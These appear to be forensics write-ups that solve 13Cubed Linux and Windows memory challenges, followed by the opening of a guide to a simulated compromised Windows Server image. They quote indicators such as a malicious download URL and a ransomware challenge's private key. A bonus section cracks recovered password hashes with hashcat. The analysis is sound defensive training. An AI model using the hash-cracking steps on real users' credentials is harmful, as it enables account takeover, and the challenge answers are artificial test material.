4453    bash    2024-07-03 19:45:41.000000 UTC  cd Downloads/
4453    bash    2024-07-03 19:45:43.000000 UTC  ls
4453    bash    2024-07-03 19:45:48.000000 UTC  chmod 755 youtube_downloader.elf
4453    bash    2024-07-03 19:45:53.000000 UTC  ls -al
4453    bash    2024-07-03 19:45:58.000000 UTC  sudo ./youtube_downloader.elf
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt dist-upgrade
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt upgrade
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt update
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt install open-vm-tools-desktop
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt upgrade
4954    bash    2024-07-03 19:47:23.000000 UTC  exit
4954    bash    2024-07-03 19:47:23.000000 UTC  ��U��SH�H�U{
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt autoremove -y
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt update
4954    bash    2024-07-03 19:47:30.000000 UTC  cd /var/www
4954    bash    2024-07-03 19:47:32.000000 UTC  cd /var
4954    bash    2024-07-03 19:47:35.000000 UTC  mkdir www
4954    bash    2024-07-03 19:47:39.000000 UTC  sudo mkdir www
4954    bash    2024-07-03 19:47:59.000000 UTC  cd www
4954    bash    2024-07-03 19:48:03.000000 UTC  sudo mkdir html
4954    bash    2024-07-03 19:48:07.000000 UTC  cd html
4954    bash    2024-07-03 20:02:53.000000 UTC  subl index.html
```

## Challenge Questions

Let's start looking at some of the questions

## Question 1: What is the hostname of this device?

This question can be addressed in a couple of ways. First would be to inspect the memory.vmsn file which was provided. This provides information/metadata about the virtual machine itself.

<figure><img src="/files/Frko5o02DGB7rgBdGcJk" alt=""><figcaption></figcaption></figure>

We can see the the Ubuntu ISO was mounted as sata0, displayName is 'LiWS01' and the hostlog reflects the same LiWS01 value. It's worth noting that just because this is the VM's name in the Hypervisor (looks like an ESXi host), it doesn't definitively mean that the guest OS has the same name. The ESXi guest name could be LiWS01, and the guest virtual machine's name may be something entirely different.

You could validate this against another source, such as the memory of the VM itself. If you run a simple strings search against the vmem file, you'll see a stack of variables which reflect LiWS01 and indicate that it's the hostname. This is teetering on the edge of confirmation bias.

Let's run linux.envars and see what it produces. These plugins can sometimes take a long time to run, so it's worth redirecting output into a text file and reviewing it while you run another plugin.

```
$ vol.py -f /mnt/d/13cubed/memory/memory.vmem linux.envars > linux.envars.txt
```

<figure><img src="/files/hqIOYCFAOytysmWkdSpE" alt=""><figcaption></figcaption></figure>

Answer: LiWS01

## Question 2: What is the username of the primary user on this device?

The above environment variables provide some additional insight to this answer. Richard said in the briefing that the user's name was Walter O'Reilly, and there's a $HOME variable set as /home/woreilly.

Answer: woreilly

## Question 3: What is the IP address assigned to this device?

Guest variables for ESXi guest virtual machines are passed to the hypervisor for networking purposes, including the installation of guest tools (for remote management, shared folder, etc).

Search the vmsn file for 'ip' or 'address'

<figure><img src="/files/WI8RFsQzirX8yfdb7Nbs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vlrphkEpkIQNP4TXXsgn" alt=""><figcaption></figcaption></figure>

To support this, if you run bulk\_extractor against the memory dump (which we did in question 9) you'll have a resultant PCAP file which you can open using wireshark. Search for that MAC address (00:0C:29:D9:F3:91) and you'll find the corresponding IP address, and you'll be able to match it against traffic to the malicious IP we later identified.

<figure><img src="/files/9XNCdYnzyHHlhzsmJTww" alt=""><figcaption></figcaption></figure>

Answer: 192.168.8.11

## Question 4: What is the name of the malicious file downloaded by the victim?

Reviewing the bash history above, we see the user downloaded youtube\_downloader.elf, made it executable (chmod 0755) and then executed it using sudo. However, at this stage we're not sure where it came from. We just know the filename.

Answer: youtube\_downloader.elf

## Question 5: What is the PID associated with the execution of the file downloaded by the victim?

Using the plugin 'linux.pslist', we can see recently executed processes.

```
$ vol.py -f /mnt/d/13cubed/memory/memory.vmem linux.pslist> linux.pslist.txt
```

<figure><img src="/files/GK6TpsfiHJDbPxmDdjPZ" alt=""><figcaption></figcaption></figure>

I've snipped everything above the first line (gnome-calendar) because it's important to understand parent and child processes. We can see in this instance that the PID (process ID) 4910, is the child process of 4909 (sudo). We know from the bash history that the user executed youtube\_downloader using sudo, and the grandparent is 4348, so it was executed by the user using the console.

Answer:  4910

## Question 6: What is the PID spawned by that process?

Using the same text file (because we piped the output into a text file.. remember..) we want to perform the reverse of what we just did. We want to find the child process of the PID 4910. Instead of looking for PID=4910, we want PPID=4910.

<figure><img src="/files/uYjoUDR6G9WBt6JuzL7T" alt=""><figcaption></figcaption></figure>

Answer: 6279

## Question 7: What is the full name and path of the malicious process used for persistence?

So, youtube\_downloader > bash > cron > sh > nettstat

What's cron? Cron is a command line utility which is used to schedule the execution of jobs on a Linux/Unix host. Given this question relates to persistence and we've observed something relating to cron, this would be something to focus on.

We can use the [lsof plugin ](https://volatility3.readthedocs.io/en/latest/volatility3.plugins.linux.lsof.html)

```
$ vol.py -f /mnt/d/13cubed/memory/memory.vmem linux.lsof > linux.lsof.txt
```

We can see the PID for nettstat is 6422 - so let's review the output of lsof to see where it was executed.

<figure><img src="/files/ViKGRH1b0lGrUQKb54cc" alt=""><figcaption></figcaption></figure>

This doesn't necessarily mean the file remained in that location for persistence. It was executed in /tmp, but it could have been moved elsewhere to evade detection.

Open the memory dump using a hex editor (or even notepad++) and start reviewing it looking for the string 'nettstat' in the context of 'cron' which we observed above.

<figure><img src="/files/OW55SMLfwbWJMRKD3Oxz" alt=""><figcaption></figcaption></figure>

Answer: /usr/sbin/nettstat

## Question 8: What is the full path and filename of the file created via a popular text editor?

Back to the bash history, we can see commands relating to 'subl' (sublime text editor).

```
$ vol.py -f /mnt/d/13cubed/memory/memory.vmem linux.bash

Volatility 3 Framework 2.10.0
Progress:  100.00               Stacking attempts finished
PID     Process CommandTime     Command

4954    bash    2024-07-03 19:47:23.000000 UTC  exit
4954    bash    2024-07-03 19:47:23.000000 UTC  ��U��SH�H�U{
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt autoremove -y
4954    bash    2024-07-03 19:47:23.000000 UTC  sudo apt update
4954    bash    2024-07-03 19:47:30.000000 UTC  cd /var/www
4954    bash    2024-07-03 19:47:32.000000 UTC  cd /var
4954    bash    2024-07-03 19:47:35.000000 UTC  mkdir www
4954    bash    2024-07-03 19:47:39.000000 UTC  sudo mkdir www
4954    bash    2024-07-03 19:47:59.000000 UTC  cd www
4954    bash    2024-07-03 19:48:03.000000 UTC  sudo mkdir html
4954    bash    2024-07-03 19:48:07.000000 UTC  cd html
4954    bash    2024-07-03 20:02:53.000000 UTC  subl index.html
```

We can see the user changed directory into /var/www, made a directory called html, moved into that directory, then created a file (using sublime) called index.html

Answer: /var/www/html/index.html

## Question 9: What is the IP address from which one of the malicious binaries was downloaded?

(From Richard) HINT: This is a difficult question. Don't make assumptions. If you are unable to find a plugin that can provide you with this information, consider more "foundational" approaches to enumerating data within the memory dump.

I used bulk\_extractor against the memory dump and retrieved a tonne of URLs.

```
$ bulk_extractor -o be-output memory.vmem
```

We know at least two suspicious/malicious binaries (youtube\_downloader, and nettstat) so have a look in the resultant text files for hits against both filenames.

<figure><img src="/files/qpC22QNuhi3wBDwqVS6E" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dcHP05FZySBcNeaNS4d6" alt=""><figcaption></figcaption></figure>

## Question 10: A user was manually added to this device by the Threat Actor. The UID is 1001. What is the username?

(From Richard) HINT: This is a difficult question. Don't make assumptions. If you are unable to find a plugin that can provide you with this information, consider more "foundational" approaches to enumerating data within the memory dump.

This question requires a bit of familiarity with how users are stored on an Ubuntu system.&#x20;

The /etc/passwd file contains information about users who may log into a system, or other system/service accounts. It's also plain text, which is great. Consider this output from an Ubuntu host;

```
$ sudo cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

So we know the format, and we also know that the third value is the UserID (UID). root is 0, www-data is 33, so on. The question indicates that the UID is 1001, so we can do a basic text/strings search for :1001: and see what pops.

<figure><img src="/files/HHYxBxiXy6rVZ6V94Vlz" alt=""><figcaption></figcaption></figure>

1000 is the UID for woreilly, the first user, and 1001 is the UID for 'systemservice' (which is an interactive account because it has a bash/shell set (/bin/bash).

Answer: systemservice

## Bonus - hashcat

If you've made it this far, well done. On your Ubuntu 22.04 virtual machine (the one you deployed to build the kernel profile), have a look at /etc/shadow (example below)

```
$ sudo cat /etc/shadow
sshd:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
username:$6$hE2wnL95dHqesJhM$/J/6otQvJ8lmUrBpOx7fL5H9TGGucGkkfYVOGrYWChQtaG/hvOy23oXxuhv5o2G79Uh/ysEXNXJuZ.YnTqPiN.:19997:0:99999:7:::
snort:*:18701:0:99999:7:::
```

[Here is ](https://www.cyberciti.biz/faq/understanding-etcshadow-file/)a very good explanation of how the shadow file works, and the information it contains.

Why is this relevant? Well, go back to your memory dump (either in a text editor or hex editor) and search for ":::" or "$6$" and you'll find the following;

<figure><img src="/files/mhmDqbsN6tW6HJHgkXIu" alt=""><figcaption></figcaption></figure>

Download hashcat and your favourite wordlists

```
hashcat.exe -m 1800 -a 0 13cubed.hash C:\wordlist1.txt C:\wordlist2.txt
```

<figure><img src="/files/88NhMc6xYXYVUfQZRTd7" alt=""><figcaption><p>(Password is hunter2)</p></figcaption></figure>

Try the same with the value for woreilly (you'll need to use John the Ripper though).


# 13Cubed Windows memory forensics

Richard at [13Cubed ](https://training.13cubed.com/)recently released another memory forensics challenge; this time involving a compromised Windows host. Watch the video below for a summary of the incident.

{% embed url="<https://www.youtube.com/watch?v=6JN6iAenEoA>" %}

Per the warning on the YouTube video;

⚠️ **CAUTION** ⚠️\
This memory sample contains a simulated ransomware for educational purposes. Although safeguards have been implemented to prevent any harm, they are not foolproof. Please treat this sample as if it contains active malware. Ensure all necessary precautions are taken to mitigate potential risks.

WALK-THROUGH BELOW

This page is just a placeholder for the moment, it should be completed by mid-July.

## Files

You can download the sample here; <https://cdn.13cubed.com/downloads/windows_challenge.zip>

## Scenario

Bob recently accepted a position at a new company. After hearing alarming scenarios about a ransomware attack, he decided to backup all his data to the cloud. Unfortunately, something went wrong during the process.\
We only have an image and a series of indicators. This scenario simulates a ransomware scenario using a custom binary.

## Analysis Environment

For this challenge, we're going to use [MemProcFS](https://github.com/ufrisk/MemProcFS) on a Windows machine.

We know that the sample is from a Windows machine, and we don't need to build our own kernel profiles from scratch like we do with Linux samples. We do, however, need internet connectivity to pull symbol tables from Microsoft's hosts (unless you have an airgapped repo setup).

**Mount your memory image**

From a command prompt, run the following;

{% code overflow="wrap" %}

```
C:\Tools\memprocfs\5.15>MemProcFS.exe -device D:\13Cubed\windows_challenge\memory.dmp -forensic 1
```

{% endcode %}

The drive should appear as a mounted network drive, like below;

<figure><img src="/files/yCuoksP3MwArmG2keiDP" alt=""><figcaption></figcaption></figure>

I personally like using WSL2 in combination with Explorer and other forensic tools, so I want to mount the network share inside the WSL terminal. To do that, run the following&#x20;

```
$ sudo mkdir /mnt/m
$ sudo mount -t drvfs M: /mnt/m
$ ls /mnt/m
conf  forensic  memory.dmp  memory.pmem  misc  name  pid  py  registry  sys  vm
```

## Challenge Questions

## Question 1: What is the hostname of this device?

MemProcFS provides a summary of common values in M:\sys, including computername, boot time, etc.

```
$ cat /mnt/m/sys/computername.txt
RM-205B
```

Validate this yourself by looking at the value stored in the following registry key;

**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName**

Answer: RM-205B

## Question 2: What is the username of the primary user on this device?

Review M:\sys\users\users.txt

```
$ cat /mnt/m/sys/users/users.txt
   # Username                         SID
-----------------------------------------
0000 Robert Paulson                   S-1-5-21-2126657629-3337008557-1579520640-1001
```

*His name is Robert Paulson..*

Validate this by reviewing the following registry path for users;

**HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList**

Only a single user here which matches with the above entry.

Answer: Robert Paulson

## Question 3: What is the IP address assigned to this device?

Review the current netstat output in the following location;

```
$ cat /mnt/m/sys/net/netstat.txt
[snip]
001c   8240 TCPv4  CLOSED       10.0.2.152:49907              204.79.197.203:443           msedge.exe
001d   8240 TCPv4  ESTABLISHED  10.0.2.152:50021              23.39.228.14:443             msedge.exe
001e   8240 TCPv4  CLOSED       10.0.2.152:50041              204.79.197.239:443           msedge.exe
001f   8240 TCPv4  CLOSED       10.0.2.152:50045              13.107.246.41:443            msedge.exe
0020   8240 TCPv4  ESTABLISHED  10.0.2.152:50066              52.228.161.161:443           msedge.exe
0021   8240 TCPv4  CLOSED       10.0.2.152:50070              167.172.227.148:8080         msedge.exe
0022   8240 TCPv4  CLOSED       10.0.2.152:50071              167.172.227.148:8080         msedge.exe
0023   8240 TCPv4  ESTABLISHED  10.0.2.152:50073              204.79.197.239:443           msedge.exe
0024   8240 TCPv4  ESTABLISHED  10.0.2.152:50076              204.79.197.239:443           msedge.exe
0025   8976 TCPv6  LISTENING    [::]:7680                     ***                          svchost.exe
```

Review the following registry location for last known IP addresses;

**HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces**

This is parsed and presented here;

M:\registry\HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces

Each entry has a GUID, so navigate to each folder and verify interface name, IP, etc.

```
$ cat /mnt/m/registry/HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/\{119c075f-3343-4c1b-8a7b-b68c7869c5ba\}/DhcpIPAddress.txt
ffff8485822be000:00b44cf8
REG_SZ
10.0.2.152
```

## Question 4: What was the full URL, including the file name, that the malicious program was downloaded from?

We saw connections above (PID 8240, specifically) connecting to a remote IP on port 8080. The associated process is msedge.exe (Microsoft Edge) so let's see if we can retrieve the user's browsing history.

One thing I like to do while I'm manually navigating files/folders, is run some basic strings/grep commands in the background. The above IP address looks suspicious (given the circumstances/scenario), so run;

```
$ cd /mnt/m/forensic
$ grep -iR '167.172.227.148' .
```

One of the first hits is actually a Defender alert caught by the [FindEvil module ](https://github.com/ufrisk/MemProcFS/wiki/FS_FindEvil)in MemProcFS;

{% code overflow="wrap" %}

```
./findevil/findevil.txt:0002      0 ---            AV_DETECT       0000000000000000 AV:[Windows Defender] EVENT:[2025-03-07T19:37:27.387Z DETECTIONEVENT MPSOURCE_IOAV Trojan:Win32/Wacatac.B!ml file:C:\Users\Robert Paulson\Downloads\backup.exe;webfile:C:\Users\Robert Paulson\Downloads\backup.exe|http://167.172.227.148:8080/backup.exe|pid:1452,ProcessStart:133858498434468576;]
```

{% endcode %}

Answer: hxxp\://167.172.227\[.]148:8080/backup.exe

## Question 5: According to this execution artifact that would not be found on servers, the first execution occurred within 10 seconds of what time?

There's a clear hint in the question here. Prefetch is not enabled by default on Windows server operating systems, however it's enabled on workstation versions. Read about Prefetch files [here ](https://isc.sans.edu/diary/29168)and [here](https://docs.velociraptor.app/artifact_references/pages/windows.forensics.prefetch/)

If the executable had never been executed on this system before, then a Prefetch file would not exist. We can review the Master File Table (MFT) which has been parsed for us automatically (created time first, modified time second)

```
$ cat ntfs/ntfs_files.txt | grep -i backup.exe
  447f    77d06400    7199     343 2025-03-07 19:40:36 UTC : 2025-03-07 19:41:04 UTC       b49ae6 A    \1\Users\Robert Paulson\Downloads\backup.exe
  4480    77d06400    7199     343 2025-03-07 19:40:36 UTC : 2025-03-07 19:41:04 UTC            7 ARS  \1\Users\Robert Paulson\Downloads\backup.exe:SmartScreen
  4bb5    5efbc400    721d   1a33b 2025-03-07 19:41:08 UTC : 2025-03-07 19:41:09 UTC            0 A    \1\Windows\Prefetch\BACKUP.EXE-AB6C9DDF.pf
```

We can also look at forensic\timeline\timeline\_all.txt to see what was happening around that time

```
	Line    224: 2025-03-07 19:41:11 UTC  REG    MOD         0         0                0 \Root\InventoryApplicationFile\backup.exe|87931ab5a15fc7f5
	Line    259: 2025-03-07 19:41:09 UTC  NTFS   MOD         0         0         5efbc400 \1\Windows\Prefetch\BACKUP.EXE-AB6C9DDF.pf
	Line    270: 2025-03-07 19:41:08 UTC  NTFS   CRE         0         0         5efbc400 \1\Windows\Prefetch\BACKUP.EXE-AB6C9DDF.pf
	Line   1488: 2025-03-07 19:41:04 UTC  NTFS   RD          0  11836134         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe
	Line   1489: 2025-03-07 19:41:04 UTC  NTFS   RD          0         7         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe:SmartScreen
	Line   1490: 2025-03-07 19:41:04 UTC  NTFS   MOD         0  11836134         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe
	Line   1491: 2025-03-07 19:41:04 UTC  NTFS   MOD         0         7         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe:SmartScreen
	Line   1940: 2025-03-07 19:40:36 UTC  NTFS   CRE         0  11836134         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe
	Line   1941: 2025-03-07 19:40:36 UTC  NTFS   CRE         0         7         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe:SmartScreen
```

Answer: 2025-03-07 19:41:08 UTC

Question 6:\
According to the malicious program's log file, how many files were encrypted?
-----------------------------------------------------------------------------

Looking at events around the same timeframe, we can see the following entry in timeline\_all.txt

```
2025-03-07 19:41:09 UTC  NTFS   RD          0         0         5efbc000 \1\Users\Robert Paulson\Desktop\encryption_log.txt
```

If we try and open the file here M:\forensic\ntfs\1\Users\Robert Paulson\Desktop\encryption\_log.txt we can see it's empty, but we can view its contents here;

M:\forensic\files\ROOT\Users\Robert Paulson\Desktop\ffffe00925170830-encryption\_log.txt

Count the lines (minus the final line)

Answer: 9 files

Question 7:\
What is the NTFS creation time for backup.exe?
----------------------------------------------

Based on our MFT records we found in Q5;

```
	Line   1940: 2025-03-07 19:40:36 UTC  NTFS   CRE         0  11836134         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe
	Line   1941: 2025-03-07 19:40:36 UTC  NTFS   CRE         0         7         77d06400 \1\Users\Robert Paulson\Downloads\backup.exe:SmartScreen
```

Answer: 2025-03-07 19:40:36 UTC

Question 8:\
What is the full path and name of the public key created by the malicious file?
-------------------------------------------------------------------------------

We have the time marker from above (2025-03-07 19:41:08 UTC) when the encryption log was created.&#x20;

Looking at surrounding activity, we see the following activity;

```
2025-03-07 19:41:08 UTC  Net    CRE         0         0 ffffe00922cb69f0 TCPv4  CLOSED       10.0.2.152:50079              167.172.227.148:80          
2025-03-07 19:41:08 UTC  NTFS   CRE         0       451         5efbc800 \1\Users\Robert Paulson\AppData\Local\Temp\tmp98p1q14j
2025-03-07 19:41:08 UTC  NTFS   CRE         0         0         5efbc000 \1\Users\Robert Paulson\Desktop\encryption_log.txt
```

Reviewing tmp98p1q14j;

> \-----BEGIN PUBLIC KEY-----\
> MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAubL25JOIMo4yCstMlYOS\
> KOnBgaH617AMy+BwTT6K3eLOZt9TiXw7+l3zX6y6YQvZy6nshrVE9SpO7sRLpLdb\
> nkvsEnAS7zprWOx5n75VT39wY926vi7qy8CExV54phz7IxFZlrXNxgyxkWbsfP1o\
> dt6Egem8gOPddcqSZTUqdqqFDsn1xNtEktePw3X6q+Bb8YX7VhAm2NsZEsnVqwxS\
> 7WN5jcX6r2IyCui+CEz+Ud2wQkPOAT58FKtKPDGg8+iUbsXL5+B0Ub5JAhkw1lF+\
> KC83uQwrllyvn6i8KvTtdmCD4H/2lrQHssdxhAlOvf2fQ1mWSl9oqRYYWv9hcBTu\
> xwIDAQAB\
> \-----END PUBLIC KEY-----

Question 9:\
What is the first line of key material from the TA's private key?
-----------------------------------------------------------------

So now we have the public key and the path. How do we find the private key?

We know what a public key looks like, and we know the format of a private key, including a header which contains '-----BEGIN RSA PRIVATE KEY------'

<pre><code><strong>$ grep 'BEGIN RSA PRIVATE KEY' memory.dmp -A 50 -B1 -a
</strong></code></pre>

Result;

```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAubL25JOIMo4yCstMlYOSKOnBgaH617AMy+BwTT6K3eLOZt9T
iXw7+l3zX6y6YQvZy6nshrVE9SpO7sRLpLdbnkvsEnAS7zprWOx5n75VT39wY926
vi7qy8CExV54phz7IxFZlrXNxgyxkWbsfP1odt6Egem8gOPddcqSZTUqdqqFDsn1
xNtEktePw3X6q+Bb8YX7VhAm2NsZEsnVqwxS7WN5jcX6r2IyCui+CEz+Ud2wQkPO
AT58FKtKPDGg8+iUbsXL5+B0Ub5JAhkw1lF+KC83uQwrllyvn6i8KvTtdmCD4H/2
lrQHssdxhAlOvf2fQ1mWSl9oqRYYWv9hcBTuxwIDAQABAoIBABUjTf9O294FWaTo
51rNk0Gc+i3rZkZO/+XlMmNYjy4atyv2l+e6gIlLUHy/iKerVatdOFNNJwBRRJLh
PUsOpBsswT6IC1+34qhIor+QRt25v+1eO/eSF6AB1hsxWcJu4hdnzi7dmwLERyIp
+RlxLwb45VR0asSxK3BREsD6gE7pgAh4h0h/kftyLc0sbZ1nimz8571svm2QcsL+
WvFQ/Ps/NSDID8e+BZAP5r5SDa8vTel/qcYOtijJ80RLrYGT5taibPmS2mMJeiyR
mXZyuGpt8koV4D984d0bpB3SgV9VGzPGYit/RpXPWaHLSowAChaUuoid+gOMuXXG
Q8Qn68ECgYEA+iSW94M3gaCcnPkSFFmM7WgIFd/sgVXLjkSONjLZ9Y3amSsV01I6
Y2ggJ6IZq74qdSykIG2885sAfvR6F6+o9lpsjPDTe3/Xy/921UpkYPE1Kv5eesJN
aaQsawx56N8ofvXDcCRi+BA1t2fwq36hTcttPWsdkYLBliy+lxChsc8CgYEAvgwV
oHgJQLcQN07pgCIbKKadcUFGhFoOkfZp0J8ut4xp+pqDqRYgn+TlLgBSe01i5JRn
Jk+K/zocCT8+IbmzCx5TW2EGhZbhgVUjdGPWpD6VIo2mVelvLO6H8UHxOyjFujbd
Q87r0zN0gjQWBJfO3Po6jNl5etrgnzH3/KqLiYkCgYBJgRsDnIFhDAs5bU9Mv4vT
73AAzY436zgnlCmd749wwsBrpeeB83XI5D4ep1mXyAe96uJHzTdq9i9NHxYJg8rI
qYWgXNwoPEbzYRxQTM32Vqri+WBV/ma1FlMfGclxDrJdrGZDu82BS3IddOOZ4VoQ
/CgbljBYI+4y7O8MgQyirQKBgESaxCvbaSutafMtT2lr5nX0P52kvLoGcIAMfgJL
lGe6Dn/iy2h8jmZqELlccGoGc46ka+AOktSzu28zH1C5YoK+/cRc8CfFYb54Z4Ya
jF9aICgLDmKxE+saaISVE2oRu98O8y0JQ2RIjOR7vP8HdiubQQubbhkFblTJiwXw
4tJRAoGBAMIf1Rlrfttqu5qT3bBqf55EXQYSzXMwtU9LHiSJmeR36S3KNvXt7WRd
qrlAEmJb8pXEHbg0dsIIrsUxH8rqydKuiYuCeropqpSrsfrmFhQ3amp0e/dr01cc
HDjUf9RLEKMzE5Wpse6bwJ4Bp8Fd9Wk3out0hZ/jsiyMtdjwe0H5
-----END RSA PRIVATE KEY-----
```

But how can we be sure this matches the public key we found above? Save the above contents to a key file, 'priv1.key'

```
$ openssl rsa -in priv1.key -check
RSA key ok
writing RSA key
```

Save the public key to another file, pub.pem

```
$ file priv1.key
priv1.key: PEM RSA private key
$ file pub.pem
pub.pem: ASCII text
$ cat pub.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAubL25JOIMo4yCstMlYOS
KOnBgaH617AMy+BwTT6K3eLOZt9TiXw7+l3zX6y6YQvZy6nshrVE9SpO7sRLpLdb
nkvsEnAS7zprWOx5n75VT39wY926vi7qy8CExV54phz7IxFZlrXNxgyxkWbsfP1o
dt6Egem8gOPddcqSZTUqdqqFDsn1xNtEktePw3X6q+Bb8YX7VhAm2NsZEsnVqwxS
7WN5jcX6r2IyCui+CEz+Ud2wQkPOAT58FKtKPDGg8+iUbsXL5+B0Ub5JAhkw1lF+
KC83uQwrllyvn6i8KvTtdmCD4H/2lrQHssdxhAlOvf2fQ1mWSl9oqRYYWv9hcBTu
xwIDAQAB
-----END PUBLIC KEY-----
```

Prove they match by generating a message, signing it with the public key, then decrypting it with the private key.

```
$ cat message.txt
13Cubed
$ openssl dgst -sha256 -sign priv1.key -out signature.bin message.txt
$ openssl dgst -sha256 -verify pub.pem -signature signature.bin message.txt
Verified OK
```

Question 10:\
What is the last web search performed by the user?
--------------------------------------------------

We know the user was using Edge, so their History database should be in the usual spot;

AppData\local\Microsoft\Edge\User Data\Default\History

Looks like it's corrupt. Some quick mucking around with .dump and .recover didn't yield any results, so time to just use a simple hex editor. I opened ffffe00923455400-History in HxD and reviewed the most recent URL hits. (Most recent at the top, oldest at the bottom).

<figure><img src="/files/Ef0KTUkMvI3IaF89hh0n" alt=""><figcaption></figcaption></figure>

Answer: free backup utility for windows 11

Bonus Question:\
What folder does the "Backup Software" landing page tell users to exclude?
--------------------------------------------------------------------------

In the same folder, navigate to Default/Cache/Cache\_Data - we're looking for page hits relating to backup software.

```
$ grep -ai 'Backup' *
ffffe00923431690-data_2:    <title>Backup Pro - Secure Your Files</title>
ffffe00923431690-data_2:        <h1>Backup Pro - Secure Your Files</h1>
ffffe00923431690-data_2:        <p>Protect your important files with **military-grade encryption** and **seamless backup solutions**.</p>
ffffe00923431690-data_2:            <li>✅ <strong>Seamless Backup & Restore</strong> - Encrypt and decrypt with ease.</li>
ffffe00923431690-data_2:        <a class="download" href="backup.exe" download>Download Backup Pro</a>
ffffe00923431690-data_2:            <p>© 2025 Backup Pro. All Rights Reserved.</p>
ffffe0092343fdd0-data_1:�Ȉ���(H��
```

```
$ strings ffffe00923431690-data_2
```

<figure><img src="/files/qHe6FdyH5cZc8U5CnPLo" alt=""><figcaption></figcaption></figure>

Answer: C:/


# Compromised Windows Server 2022 (simulation)

This series of pages will examine a data set provided by Benjamin Donnachie involving a compromised Windows Server 2022 (simulation data)

To download the E01 set, visit the URL below.

{% code overflow="wrap" %}

```
https://ordo.open.ac.uk/articles/dataset/Compromised_Windows_Server_2022_simulation_/26038642/1?file=47197528

Simulated network intrusion as part of research to develop artificial intelligence / machine learning for post-breach triage. All information contained within the image (including but not limited to usernames and IP addresses) is synthetic.
```

{% endcode %}

The scenario is described as follows;

{% code overflow="wrap" %}

```
Simulated UK-based small office network running from Sept 2023 to Feb 2024. The administrator opened RDP to facilitate working from home. As part of the scenario, on 12th Feb 2024 discovered the server was no longer responding with 'Red Petya' ransomware displayed on the screen. Forensic experts were engaged, the disk decrypted and a forensic image taken in EnCase E01 format (also known as Expert Witness Format).
```

{% endcode %}

To begin, we should construct a rough investigation plan with our identified objectives. This usually differs based on the scenario and the context of the analysis (i.e is it a triage review, in-depth forensic analysis, second opinion analysis) and what are we trying to identify? Investigation plans can start off fairly simple such as trying to simply identify a rough timeline of events and then adding to it as the investigation evolves, or it can address a specific query from the outset.

We can use the 12th February 2024 as a time marker. That's the point when the incident was discovered, so we want to find out what happened before, immediate prior, and on the 12th February.

1. What happened before 12th February 2024
2. What happened immediately prior to 12th February 2024
3. What happened on/around 12th February 2024
4. What happened after 12th February 2024 (documented containment/isolation steps)

Add this to the commonly asked questions (reasonable assumption given the nature of the incident)

5. How did the ransomware get onto the system?
6. Were any vulnerabilities exploited?
7. Were any accounts compromised?
8. Was any data exfiltrated/stolen?
9. What identifiers can be obtained from the host? (source IP, usernames, file hashes etc)
10. What Tools, Techniques, and Procedures (TTPs) were employed during the attack?

If this analysis is being done to support a root cause analysis or some kind of civil/criminal litigation, there may be some more pointed questions guided by attorneys/counsel or other stakeholders.

There may also be some other commonly asked questions which you may be able to anticipate. Some of these help frame your analysis report and give context to the incident to external third parties/stakeholders.

11. Which operating system was running and which version was it?
12. Was the operating system updated with the most current security patches? Were any missing?
13. What services (such as file sharing, remote desktop, web services) did the host offer?
14. Did any user accounts have weak passwords?

With those questions in mind, we'll explore how to examine and process this data using the following tools;

* [FTK Imager](https://www.exterro.com/ftk-product-downloads/ftk-imager-version-4-7-1) (commercial, free)
* [Autopsy](https://www.autopsy.com/) (opensource, free)
* [Plaso](https://github.com/log2timeline/plaso) (opensource, free)
* AXIOM - Magnet Forensics (commercial, paid)


# FTK Imager

How to use FTK Imager to verify, inspect, and export data from an image

FTK Imager isn't typically used as a 'forensic analysis' tool, it's mostly used to acquire and verify images. That being said, it can be used to mount images (E01, dd, VMDK, etc) and quickly inspect them. It's also helpful when you're examining images from Linux hosts, as it supports most Linux file systems (ext3/ext4 etc) and it's easy to inspect text-based logs using the in-built data previewer.

For Windows hosts, we can quickly export event logs for further processing with another tool.

## Verifying an image using FTK Imager

Our first step should be to add the image, verify it, and continue with our initial examination.

Load FTK Imager

File > Add Evidence Item

<div align="left"><figure><img src="/files/XsBfNCCpkxcdXMXSiTY1" alt=""><figcaption></figcaption></figure></div>

Select Source > Image File

